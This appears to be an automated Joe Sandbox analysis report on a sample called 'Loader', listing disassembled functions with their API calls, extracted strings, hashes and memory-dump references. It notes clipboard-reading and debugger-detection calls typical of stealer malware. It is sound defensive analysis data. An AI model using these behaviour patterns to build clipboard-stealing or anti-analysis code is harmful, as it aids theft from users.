Opcode ID: c447d9eb50c69d690079a84f2a889e3a873e1851efedca1d7b0de6d2c5cd5276
Instruction ID: 33473149cae9f16aecb9537aa416ef1e7d3fbdedf0e957a2ab0c977a9e71e0a7
Opcode Fuzzy Hash: c447d9eb50c69d690079a84f2a889e3a873e1851efedca1d7b0de6d2c5cd5276
Instruction Fuzzy Hash: 28D0A7345641447BD254B71DDC0BF2E36EC8B83765F40423AB367C61D2DD206814D969

Function 0044097C Relevance: 3.0, APIs: 2, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 0044097C
GetForegroundWindow.USER32 ref: 0044098B

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 5b64466e7ab07e9aaddd3662eb9f553eb55b9fff43f682d448942c2c90120e2c
Instruction ID: 225f5cf4cede43eb9e1c7d8f48ca6fabcfa3516809063a9c4dd713f8755281a5
Opcode Fuzzy Hash: 5b64466e7ab07e9aaddd3662eb9f553eb55b9fff43f682d448942c2c90120e2c
Instruction Fuzzy Hash: 17D0C7F99105008BD705D791BC4942E33359B9660D754C03EF50641637EB2850198B6B

Function 0043FDA0 Relevance: 1.6, APIs: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?), ref: 0043FE43

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 07258b1e357849fe5aed5c24d00c3c5a91de2245688a67431115fabb2ccab738
Instruction ID: 535b60dbec632ae62a93662f24e53747b26a8b075638c01559b15ba54056591b
Opcode Fuzzy Hash: 07258b1e357849fe5aed5c24d00c3c5a91de2245688a67431115fabb2ccab738
Instruction Fuzzy Hash: 34118C37B083044BC7089F38EC9166BB7D6EBC9214F19863DE895832A0DE3DC8058242

Function 0043D390 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 0043D40F

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9ae81342e96db7dc8802243649a6a2d497a458aa62fba63f2f96d7ae65237da3
Instruction ID: 6ec60103242f7dc88c84b297cd958d62bee6b326450107854347a78a1e499a11
Opcode Fuzzy Hash: 9ae81342e96db7dc8802243649a6a2d497a458aa62fba63f2f96d7ae65237da3
Instruction Fuzzy Hash: 420126367456409BC6115E28AC926DB7BF5DBE6225F44097CE5804B391C229CC1AD7D2

Function 004318BC Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00431905

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 360d3ba3518a5f389f4047cb9ef391a0485252ecdcba09ffad12c168825f6478
Instruction ID: 936c20df29cb9a486113d9d5386173b1c22316c364d98bb2364a03aefed94a80
Opcode Fuzzy Hash: 360d3ba3518a5f389f4047cb9ef391a0485252ecdcba09ffad12c168825f6478
Instruction Fuzzy Hash: 63F0A9B45097018FD314DF28D1A875ABBF1FB89304F10481CE0968B3A0C7B5A949CF82

Function 00435C54 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00435C99

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 9593223d512cbb9efcb00319b62ef73b02fc9f54ce1cf4f3d45371c5e5345829
Instruction ID: 6a288c34b7eeda970e55558a1ff922c66b4fcfcf440e52d196057f1a93ba68b1
Opcode Fuzzy Hash: 9593223d512cbb9efcb00319b62ef73b02fc9f54ce1cf4f3d45371c5e5345829
Instruction Fuzzy Hash: F0F0DAB85497018FD310DF28D1A875ABBF1FB88304F10891CE4958B390C7B5A648CF82

Function 0040CCC3 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040CCD5

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 9ca94e2dc28c8b217394d1bc984aa02c1a453ef65657c9050c23c9268935b427
Instruction ID: e9db78c129ca3057cd7ccbb40b8044497352764c7ff97d4d1128b699e2075847
Opcode Fuzzy Hash: 9ca94e2dc28c8b217394d1bc984aa02c1a453ef65657c9050c23c9268935b427
Instruction Fuzzy Hash: E4D0C9343D4341B7F6A48748AC67F1832165B42F65F344628B373FE2D1C9E171158A1D

Function 0043D37B Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00000000), ref: 0043D385

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6234599c2abce4c02a9914a3db1980e552edefda40f5aef7d0eafc6bdc90bbb6
Instruction ID: bf09ca323fc3d6391422b3d444ecbd49a42e3e4963b95dfec9337ab1fb010638
Opcode Fuzzy Hash: 6234599c2abce4c02a9914a3db1980e552edefda40f5aef7d0eafc6bdc90bbb6
Instruction Fuzzy Hash: 40B00234145115F9F17117225CD5F7F1D6CDF83E95F101054B604140D04758A441D5BD

Non-executed Functions

Function 00429A00 Relevance: 17.9, APIs: 1, Strings: 9, Instructions: 386COMMON

Download Yara Rule

Strings

WU, xrefs: 0042A3C3
de, xrefs: 0042A2CF
{&,V, xrefs: 0042A0F4
CV, xrefs: 0042A0D6
IK, xrefs: 0042A1CE
SQ, xrefs: 0042A3BB
T>, xrefs: 0042A0CB
KV, xrefs: 0042A0C0
LM, xrefs: 0042A1D6

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: CV$KV$LM$T>$de${&,V$IK$SQ$WU
API String ID: 0-2785706729
Opcode ID: a08963325b429d1639c9c944a67626c7d159cd0fc2d7761e34e1696eec19556d
Instruction ID: c05b56064417488df7b5ad894cc327f978f744e3c9a69050ef52c0fe2625d5ba
Opcode Fuzzy Hash: a08963325b429d1639c9c944a67626c7d159cd0fc2d7761e34e1696eec19556d
Instruction Fuzzy Hash: 79D1ECB5608350DFE7108F25E89136BBBE0EF86304F54496DE4C59B3A2E7788905CB8B

Function 00427558 Relevance: 11.5, Strings: 9, Instructions: 268COMMON

Download Yara Rule

Strings

:A'_, xrefs: 00427AAF
?M0K, xrefs: 00427A8E
(), xrefs: 004279DB
m9O7, xrefs: 00427C40
`Qo, xrefs: 00427ADB
?mk, xrefs: 00427AE6
<YgW, xrefs: 00427AC5
#]'[, xrefs: 00427ABA
m9O7, xrefs: 00427A4E

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: #]'[$()$:A'_$<YgW$?M0K$?mk$`Qo$m9O7$m9O7
API String ID: 0-2239177406
Opcode ID: ad4ac1f20a39d7627629bbb536eae6c3a46a10934f01ca677e70357ef9f1301a
Instruction ID: 7cc7ec01a88f836476e3a9d4eb6dc17f6aec6df3a7141e6de1b78b286174b201
Opcode Fuzzy Hash: ad4ac1f20a39d7627629bbb536eae6c3a46a10934f01ca677e70357ef9f1301a
Instruction Fuzzy Hash: 51E1E9B424D3858BE3758F16A981BDBBBE1FB82340F108E1DC1D95B245DB74808ADF96

Function 00426AC2 Relevance: 10.2, Strings: 8, Instructions: 170COMMON

Download Yara Rule

Strings

\), xrefs: 0042887A
/Md`, xrefs: 00428859
7Voo, xrefs: 00428843
djm`, xrefs: 0042884E
jhjr, xrefs: 00428864
ujcw, xrefs: 00428830
yrtp, xrefs: 00428838
Iy~s, xrefs: 00428895

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: /Md`$7Voo$Iy~s$\)$djm`$jhjr$ujcw$yrtp
API String ID: 0-3965858319
Opcode ID: 53b1f0067b654910e4265debf126ad5a16fe9aace6d1d90405a1036c1b5e4eb5
Instruction ID: 84e6723ad12d9368427c1e0721b53ee5dd72bd27f2c6b2f42766d7d241e4870c
Opcode Fuzzy Hash: 53b1f0067b654910e4265debf126ad5a16fe9aace6d1d90405a1036c1b5e4eb5
Instruction Fuzzy Hash: 57517B3174A3A28BE7309E2894513AFBBE1DF91350FA4892FC5D587381DB3C9905E74A

Function 004210D0 Relevance: 9.6, Strings: 7, Instructions: 806COMMON

Download Yara Rule

Strings

ElN~, xrefs: 00421425
iaQQ, xrefs: 004213ED
KM[p, xrefs: 00421402
l`kc, xrefs: 004213DF
x`{l, xrefs: 00421444
E~Eq, xrefs: 00421409
u\XZ, xrefs: 00421494

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: ElN~$E~Eq$KM[p$iaQQ$l`kc$u\XZ$x`{l
API String ID: 0-1700030734
Opcode ID: 7ac441fee11ddcd18cd40191a11c225f6198f2a352731de0deba5e95dea7f8e5
Instruction ID: 63d53697751287740cd5dfe0d2529f021af20d75a405d761f770b19dbd8f3775
Opcode Fuzzy Hash: 7ac441fee11ddcd18cd40191a11c225f6198f2a352731de0deba5e95dea7f8e5
Instruction Fuzzy Hash: 87522670604B518FC735CF35D490727BBE2BFA6314B588A6EC4E68BBA2C735A406CB54

Function 00436300 Relevance: 9.2, APIs: 6, Instructions: 152clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00436322
GetWindowLongW.USER32 ref: 0043634D
GetClipboardData.USER32 ref: 0043635D
GlobalLock.KERNEL32 ref: 00436377
GlobalUnlock.KERNEL32 ref: 004364CB
CloseClipboard.USER32 ref: 004364D1

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID:
API String ID: 2832541153-0
Opcode ID: 09544f04c9b9545be05f54a1fab6e8d685d67bd08ccf494fb3fc50990cd9a9dc
Instruction ID: 50991bc8120a8f6633994fcf4ea51f97f0579ec4c4cf210033997cb15d72c0d6
Opcode Fuzzy Hash: 09544f04c9b9545be05f54a1fab6e8d685d67bd08ccf494fb3fc50990cd9a9dc
Instruction Fuzzy Hash: 7051E3B1D08B529BDB10AB7CD84935EBFA0AB16310F05873ED8E587782E33899548797

Function 0041D327 Relevance: 7.9, Strings: 6, Instructions: 388COMMON

Download Yara Rule

Strings

0, xrefs: 0041D440
QT, xrefs: 0041D5F8
., xrefs: 0041D375
uvw, xrefs: 0041D7CA
&YEO, xrefs: 0041D489
_], xrefs: 0041D5E2

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: &YEO$.$0$QT$_]$uvw
API String ID: 0-2030970973
Opcode ID: ebc4790e59144c5680add003c981ea3772d2de55c60af1bbfa7a47c1ea87a435
Instruction ID: 354ed260a7db9cb0c9f96e03fa4c537c11ee5e85cd804ab200fadb0adb0c765f
Opcode Fuzzy Hash: ebc4790e59144c5680add003c981ea3772d2de55c60af1bbfa7a47c1ea87a435
Instruction Fuzzy Hash: 8EE1DFB19183908BD3358F24D8913EBBBE5EF91314F09992DD4DC9B341EB384A45CB86

Function 00409990 Relevance: 7.9, Strings: 6, Instructions: 379COMMON

Download Yara Rule

Strings

|, xrefs: 00409A01
\, xrefs: 00409B26
~dfb, xrefs: 00409A48, 00409AEC, 00409B45
zz, xrefs: 00409C3F
3FBE1E2615ADA210E9D82DE8C58062C2, xrefs: 00409A4E
~dfb, xrefs: 00409D3A

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 3FBE1E2615ADA210E9D82DE8C58062C2$\$zz$|$~dfb$~dfb
API String ID: 0-3041039929
Opcode ID: c49754e7000805bb51ad494d8f0304b8855312e5c86ecf378500041c882622bb
Instruction ID: 839cde4d2aa054859e269cb4fbe231548cc83ddc2423923cf7f1f6be2950108b
Opcode Fuzzy Hash: c49754e7000805bb51ad494d8f0304b8855312e5c86ecf378500041c882622bb
Instruction Fuzzy Hash: 30C114B15087808BD314DF35C85076BBBE6EBD1314F188A6DE0D58B392DB78C80ACB56

Function 0041D1BE Relevance: 6.4, Strings: 5, Instructions: 111COMMON

Download Yara Rule

Strings

n( T, xrefs: 0041DA66
.0.), xrefs: 0041DA5B
/OK4, xrefs: 0041DA7C
&8&!, xrefs: 0041DA71
3 , xrefs: 0041DA87

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: &8&!$.0.)$/OK4$3 $n( T
API String ID: 0-2164236613
Opcode ID: 5aef2e973b4e60d09f2fb28fb63ebeff0de77a3e516d8cb7d3b29f12b8c906de
Instruction ID: 9a941f880eb2b56ac47f73cca9204df19041a221f7beb1c2bda010225441caa4
Opcode Fuzzy Hash: 5aef2e973b4e60d09f2fb28fb63ebeff0de77a3e516d8cb7d3b29f12b8c906de
Instruction Fuzzy Hash: AC4113B490C380ABE7319B21D8917EBB7E1AF86304F44443DE4CE47252DB3958858B5B

Function 00E65444 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00E65450
IsDebuggerPresent.KERNEL32 ref: 00E6551C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00E6553C
UnhandledExceptionFilter.KERNEL32(?), ref: 00E65546

Memory Dump Source

Source File: 00000002.00000002.1882637788.0000000000E51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E50000, based on PE: true

Associated: 00000002.00000002.1882616686.0000000000E50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882685226.0000000000E73000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882725763.0000000000E7B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882748311.0000000000E7F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1882769529.0000000000E81000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e50000_Loader.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 958c104ef960df282eadf412fdc007253e4e38b6c11518361d68a8595a58d964
Instruction ID: 183bcaf11ec896e58961dbb717fa33f1b16e2e66165ac61c64aeda76c44ce028
Opcode Fuzzy Hash: 958c104ef960df282eadf412fdc007253e4e38b6c11518361d68a8595a58d964
Instruction Fuzzy Hash: 92310775D452189BDB20DFA4D989BCDBBF8AF08344F1040AAE40DAB251EB709A89CF45

Function 00429AEE Relevance: 5.5, Strings: 4, Instructions: 549COMMON

Download Yara Rule

Strings

925?, xrefs: 00429FEE
de, xrefs: 0042A2CF
`, xrefs: 00429EDA
#" $, xrefs: 00429FD6

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: #" $$925?$de$`
API String ID: 0-1022733961
Opcode ID: 1661b4022cf63f6cbc3ea3f81cbd8155396afcffe94e4d3050bd65eec7f099ad
Instruction ID: 1605bcd712b96b8e910cf545caec47bb681450ca7ca1f3ebefe6d5572f03a648
Opcode Fuzzy Hash: 1661b4022cf63f6cbc3ea3f81cbd8155396afcffe94e4d3050bd65eec7f099ad
Instruction Fuzzy Hash: ED0235B16083518FC714CF24E89136BBBE1AFD6304F18896EE8C58B352D679DD09CB5A

Function 0040AD40 Relevance: 5.4, Strings: 4, Instructions: 367COMMON

Download Yara Rule

Strings

L=W?, xrefs: 0040AEF4
j, xrefs: 0040AF67
89, xrefs: 0040AEFC
|, xrefs: 0040AD5E

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 89$L=W?$j$|
API String ID: 0-4125282286
Opcode ID: 747561adafd656159717a8ca9a24aeda04c8f50ab0e36f2f584ba69d8f09cbb9
Instruction ID: de5bac40980abfdef45f7e19b5419603202ded9e5072bcc274b0e890077deb41
Opcode Fuzzy Hash: 747561adafd656159717a8ca9a24aeda04c8f50ab0e36f2f584ba69d8f09cbb9
Instruction Fuzzy Hash: 0FC1F57150C3858BD314DF14C8912ABBBE2EFD2354F188D2DE4D56B391D7798909CB8A

Function 00426760 Relevance: 5.4, Strings: 4, Instructions: 358COMMON

Download Yara Rule

Strings

PuB, xrefs: 00426DD8
T|, xrefs: 00426C4F
{D, xrefs: 00426C5A
MZ, xrefs: 00426C44

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: MZ$PuB$T|${D
API String ID: 0-192024179
Opcode ID: f670e92a50876726d0d651d2332a6150a1ae34fa25b25b1f7bddcba9e894ad27
Instruction ID: 49d0e742a7e591b898b8955d08f4c9dfa3d6426facac651bc41f070ffa886902
Opcode Fuzzy Hash: f670e92a50876726d0d651d2332a6150a1ae34fa25b25b1f7bddcba9e894ad27
Instruction Fuzzy Hash: 85E1E3B5908384DFE720CF64E84179FBBB1FB86304F10492DE599AB282DB749905CF96

Function 0041CD83 Relevance: 5.1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

Strings

hl, xrefs: 0041CDB5
cfgd, xrefs: 0041CDAA
@CE], xrefs: 0041CDE5
QOTL, xrefs: 0041CD9F

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: @CE]$QOTL$cfgd$hl
API String ID: 0-3013581571
Opcode ID: 2b27ca999bfbf4531f2615d5e7df1e14beac3f20e94eaf77279a45262decfb69
Instruction ID: cf8817326059fd3440c538897e82ccaa14daea822eaada39a8533d7532eaaa49
Opcode Fuzzy Hash: 2b27ca999bfbf4531f2615d5e7df1e14beac3f20e94eaf77279a45262decfb69
Instruction Fuzzy Hash: 5441897194C3809FD771CF24D8957EFBBE0EB86314F84892DD4AC9B291EB3089459B86

Function 0041B657 Relevance: 3.7, Strings: 2, Instructions: 1160COMMON

Download Yara Rule

Strings

, xrefs: 0041C5E6
sq, xrefs: 0041C221

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: $sq
API String ID: 0-3512095525
Opcode ID: abfe21763b79abe7f0c2f42c22322df37258666e23fa8ed6aedc804afc6da9d9
Instruction ID: f4751416ab142c5d40087c6aaed000c10fe84f5eaee8573a0ee5c50262f2e2a3
Opcode Fuzzy Hash: abfe21763b79abe7f0c2f42c22322df37258666e23fa8ed6aedc804afc6da9d9
Instruction Fuzzy Hash: AE9266715083518BD324CF29C8913ABB7E2FFC9314F18896EE4C58B391E7389946CB86

Function 004256D1 Relevance: 3.2, Strings: 2, Instructions: 698COMMON

Download Yara Rule

Strings

nY, xrefs: 004257D7
B_B, xrefs: 00425F34

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: B_B$nY
API String ID: 0-2927723309
Opcode ID: a7e8c12878a5f57eacf71440ebd9f9b624e4cdb69c3f71f7f43ba77086ed7ff5
Instruction ID: 851f56d48290151247995a9fe05417a98e88fe751e34d36bcc2cba4602582032
Opcode Fuzzy Hash: a7e8c12878a5f57eacf71440ebd9f9b624e4cdb69c3f71f7f43ba77086ed7ff5
Instruction Fuzzy Hash: 8F32FD76E00616DFDB18CF68EC916AEB7B2FB4A310F598878D811A7391D778AC11CB44

Function 0043DD90 Relevance: 3.1, Strings: 2, Instructions: 587COMMON

Download Yara Rule

Strings

f, xrefs: 0043DF80
pqss, xrefs: 0043DEFF

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID: InitializeThunk
String ID: f$pqss
API String ID: 2994545307-2822532200
Opcode ID: 2937ded457d6c5c1f02474bf962230439ca0037f4f2839544dec9941d4d193ce
Instruction ID: a432368530c22ddd3869b204a4db902ec7438b05474746996580aad5f7d8c7a6
Opcode Fuzzy Hash: 2937ded457d6c5c1f02474bf962230439ca0037f4f2839544dec9941d4d193ce
Instruction Fuzzy Hash: EF123A71A093418FD714CF2AC891B2FB7E2ABD9314F18D93EE89587392D778D8058B46

Function 0043048B Relevance: 3.0, Strings: 2, Instructions: 466COMMON

Download Yara Rule

Strings

9492, xrefs: 004304C8
~PF9, xrefs: 0043058C

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: 9492$~PF9
API String ID: 0-997091799
Opcode ID: 2f5b2c12987dcfe2c1bf18acf4207b4fcf035ee68b446e773eb6bb284b27880d
Instruction ID: 60f4f6e0d767a5311d44965940b9869cf196bd322a4f156537de99f0e5a6a042
Opcode Fuzzy Hash: 2f5b2c12987dcfe2c1bf18acf4207b4fcf035ee68b446e773eb6bb284b27880d
Instruction Fuzzy Hash: AFE1F971204B818EE735CB39C4617A3BBE2AF57304F08965DC0EB8B796D738A506CB55

Function 0040D382 Relevance: 2.7, Strings: 2, Instructions: 197COMMON

Download Yara Rule

Strings

8+, xrefs: 0040D573
)2, xrefs: 0040D4DF

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: )2$8+
API String ID: 0-2987566432
Opcode ID: 1d64a08b1ff8a32b770b1c09d7f5f0debd4f632e4742ec5e448c14563ac26e2a
Instruction ID: a4df1e9506f11f0b10418865666275f934ed96cd19121d1caba471525ecbde28
Opcode Fuzzy Hash: 1d64a08b1ff8a32b770b1c09d7f5f0debd4f632e4742ec5e448c14563ac26e2a
Instruction Fuzzy Hash: 6651D572A583918BD324DF79C851B9FB6E2AFC6304F18C93ED4D9E7281E63888058756

Function 0041ADD5 Relevance: 2.7, Strings: 2, Instructions: 195COMMON

Download Yara Rule

Strings

`b]}, xrefs: 0041AD80
`b]}, xrefs: 0041ACA0

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: `b]}$`b]}
API String ID: 0-3096439733
Opcode ID: 7218b401843c5a04db182008f5258fedd2e39ff33f3a6aebb396eafc764163da
Instruction ID: 06f219d2918ac6cbf396bf0f417855734cb004616eb9ee711412ef50a3ad00f2
Opcode Fuzzy Hash: 7218b401843c5a04db182008f5258fedd2e39ff33f3a6aebb396eafc764163da
Instruction Fuzzy Hash: 085113745083818BD3218F29D9507BBBBE1EB97315F24496EE1D1872A2D37988968B0A

Function 0041B5C0 Relevance: 2.7, Strings: 2, Instructions: 177COMMON

Download Yara Rule

Strings

0, xrefs: 0041D440
&YEO, xrefs: 0041D489

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: &YEO$0
API String ID: 0-1426676170
Opcode ID: 85e7ee97bfd75808e2c48e2923531847fc73b7074065bbbbd9d0e700215024e3
Instruction ID: eb04d6bcb5de6289af99859cb5ac66577bfe0af35e4531a9e3203bf2d4644e04
Opcode Fuzzy Hash: 85e7ee97bfd75808e2c48e2923531847fc73b7074065bbbbd9d0e700215024e3
Instruction Fuzzy Hash: 775105B09083508BD3319F29C8A07EBB7E1EF92314F045A6DE4D997292EB3C5945CB96

Function 00419DD1 Relevance: 2.7, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

0, xrefs: 0041D440
&YEO, xrefs: 0041D489

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: &YEO$0
API String ID: 0-1426676170
Opcode ID: 41cc78655a8a020beb38f8ed3c97341421bfeb5d67eecc8f506d2c4ea467456e
Instruction ID: 26baf0a1b8c53d80be862f2a9dad25389fadc0843a6e210c8a512af2a8a8cc3c
Opcode Fuzzy Hash: 41cc78655a8a020beb38f8ed3c97341421bfeb5d67eecc8f506d2c4ea467456e
Instruction Fuzzy Hash: 5A4115B19083508BD3319F28C8A07EBB7F1EF92314F045A6DD4D99B382DB385945CB96

Function 0041BCD5 Relevance: 2.7, Strings: 2, Instructions: 167COMMON

Download Yara Rule

Strings

0, xrefs: 0041D440
&YEO, xrefs: 0041D489

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Loader.jbxd

Similarity

API ID:
String ID: &YEO$0
API String ID: 0-1426676170
Opcode ID: 81e70c0187fc280d42d4b4dc0e48b9fa696f1d13af4fc8e155292d521e920ec6
Instruction ID: 60919286921f796901d9bddcd6d1baa29b74ee202a7c0244e46f46a401eb3cb4
Opcode Fuzzy Hash: 81e70c0187fc280d42d4b4dc0e48b9fa696f1d13af4fc8e155292d521e920ec6
Instruction Fuzzy Hash: DA51F3B09083508BD3219F29C8A07EBB7F1EF96314F045A6DE4D99B282DB385945CB96

Function 004414B0 Relevance: 2.1, Strings: 1, Instructions: 884COMMON

Download Yara Rule

Strings

r D, xrefs: 00441FE3

Memory Dump Source

Source File: 00000002.00000002.1882506593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

